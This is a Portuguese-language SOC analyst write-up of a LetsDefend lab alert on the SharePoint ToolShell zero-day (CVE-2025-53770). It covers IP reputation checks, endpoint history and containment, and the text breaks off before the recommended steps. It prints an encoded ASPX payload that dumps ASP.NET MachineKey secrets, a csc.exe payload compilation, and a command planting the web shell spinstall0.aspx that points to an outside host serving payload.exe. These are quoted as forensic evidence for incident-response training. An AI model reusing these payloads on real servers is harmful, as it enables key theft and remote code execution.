
Guia detalhado da exploração da vulnerabilidade zero-day CVE-2025-53770 (ToolShell) no SharePoint, incluindo análise de RCE, exfiltração de MachineKey, compilação de payload, implantação de web shell e etapas de contenção de resposta a incidentes.
Eu investiguei um zero-day do SharePoint chamado ToolShell (CVE-2025-53770) no laboratório LetsDefend. Simulei um ataque zero-day do mundo real onde uma requisição POST maliciosa contornou a autenticação, executou PowerShell para roubar chaves MachineKeySection, compilou payload.exe e implantou uma web shell (spinstall0.aspx). Registrei tudo, analisei o comportamento e contive o host. Este README cobre os processos do ataque, os passos para mitigar o ataque e as lições aprendidas.
Este é um alerta crítico e uma atividade suspeita que teve como alvo o ToolPane.aspx do MS SharePoint com grande payload e Referer falsificado. O contexto CVE está vinculado ao CVE-2025-53770. É uma vulnerabilidade crítica de exploração do SharePoint através de uma requisição POST especialmente elaborada que permitia atacantes não autenticados. A exploração bem-sucedida levou à execução remota de código (RCE) no servidor. Tratei isso como ativo, alta urgência e assumi possível comprometimento bem-sucedido até prova em contrário.
Microsoft SharePoint é uma plataforma para colaboração empresarial e gerenciamento de documentos — essencialmente um hub seguro e organizado para arquivos, fluxos de trabalho e aplicativos web internos.
Um zero-day crítico no Microsoft SharePoint Server que permite que atacantes executem código remotamente sem autenticação. Ele abusa da desserialização insegura e frequentemente se encadeia com outras falhas do SharePoint (CVE-2025-49704, CVE-2025-49706) para assumir completamente o sistema. Classificado como CVSS 9.8 (Crítico) e ativamente explorado na natureza.
Analisei o endereço IP do remetente (Endereço IP de Origem) com VirusTotal Endereço IP de Origem: 107.191.58.76

A partir disso, posso ver que 15/95 fornecedores de segurança marcaram este endereço IP como malicioso, o que já diz muito sobre o IP.
Agora preciso pesquisar a localização do IP. Isso foi feito com a ajuda do AbuseIPDB e, conforme mostrado abaixo, o IP é conhecido por hacking, força bruta, ataque a aplicações web, varredura de portas, envenenamento de DNS.
Como um Analista de SOC resolvendo isso, uma das etapas importantes a serem tomadas é a análise de endpoint. Procurei pelo host na segurança de endpoint com o nome 'SharePoint01' e, como o IP é conhecido por hacking, para análise adicional.
após localizar o host, visitei o histórico do terminal para verificar a linha de comando
PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg==
Devido ao Payload, prossegui com o decodificador Base64 para decodificar o comando conforme mostrado abaixo
O usuário iniciou o powershell a partir do diretório do sistema “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” e com comandos codificados de script C# do lado do servidor ASP.NET.
O payload tenta ler e vazar a MachineKey do ASP.NET para o host, um segredo que pode ser usado para forjar tokens ViewState/desserialização e permitir bypass de autenticação e execução remota de código. Isso corresponde ao padrão de exploração do ToolShell (abuso de MachineKey. Indicadores Chave de Comprometimento (IoCs) no comando com o uso de Decodificação e Codificação Base64.
O atacante tentou acessar configuração privada e visa explorar, portanto, abusando do .NET. Do decodificador Base64, podemos ver System.Web.Configuration.MachineKeySection e GetApplicationConfig: MachineKeySection contém: - A ValidationKey da máquina/aplicação - A DecryptionKey da máquina/aplicação. Essas chaves são segredos usados para proteger viewstate e autenticação de formulários. Recuperá-las é uma tentativa direta de obter material que permite forjar/validar payloads serializados do ASP.NET → pré-condição direta para RCE baseada em desserialização.
Apenas TRÊS segundos depois, conforme mostrado acima, o atacante enviou outro comando
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs.
Apenas DOIS segundos depois, conforme mostrado acima, o atacante enviou outro comando
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs."C:\Windows\System32\cmd.exe" /c echo <form runat="server"> <object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"><param name="Command" value="Redirect"> <param name="Button" value="Test"> <param name="Url" value="http://107.191.58.76/payload.exe\"> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx.
Apenas CINCO segundos depois, conforme mostrado acima, o atacante enviou outro comando
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command"[System.Web.Configuration.MachineKeySection]::GetApplicationConfig()"
Estas atividades mostram um padrão consistente e tratarei como alta confiança, comprometido e coletarei artefatos forenses imediatamente.
Após reunir todos os comandos e descobertas, fiz mais pesquisas na inteligência de ameaças e pesquisei por tipo de dado IP. A fonte de dados mostra OnlyHunt e TAG CVE-2025-53770 e com Referer: /_layouts/SignOut.aspx para o canal de investigação de alertas mostra que é um sharepoint legítimo que foi falsificado ou usado e posteriormente desconectado do sharepoint para parecer que se originou de uma ação normal do sharepoint. Nesse ponto, contive o host.

Data/Hora:2025-07-2213:07(evento) Analista:[SeuNome] CaseID:SOC342 Host:SharePoint01 Gravidade: Crítica
Identifiquei uma tentativa de exploração de vulnerabilidade zero-day crítica às 2025-07-22 13:07 chamada ToolShell (CVE-2025-53770) em um SharePoint Server on-premises com nome de host SharePoint01. O atacante, a partir de um IP malicioso conhecido (107.191.58.76) que é a fonte do POST e host do payload, contornou a autenticação para executar código remoto no servidor. O atacante enviou/criou spinstall0.aspx no diretório LAYOUTS do SharePoint e executou PowerShell para ler material MachineKey do ASP.NET e compilar um payload C# via csc.exe. Portanto, permitindo que eles criassem payloads confiáveis. Esta atividade é consistente com implantação de web shell com spinstall0.aspx no sharepoint, exfiltração de MachineKey e compilação de payload no host, todos indicadores de comprometimento de alta confiança.


Após descobrir o comprometimento, recomendei na Nota do Analista que os seguintes passos fossem tomados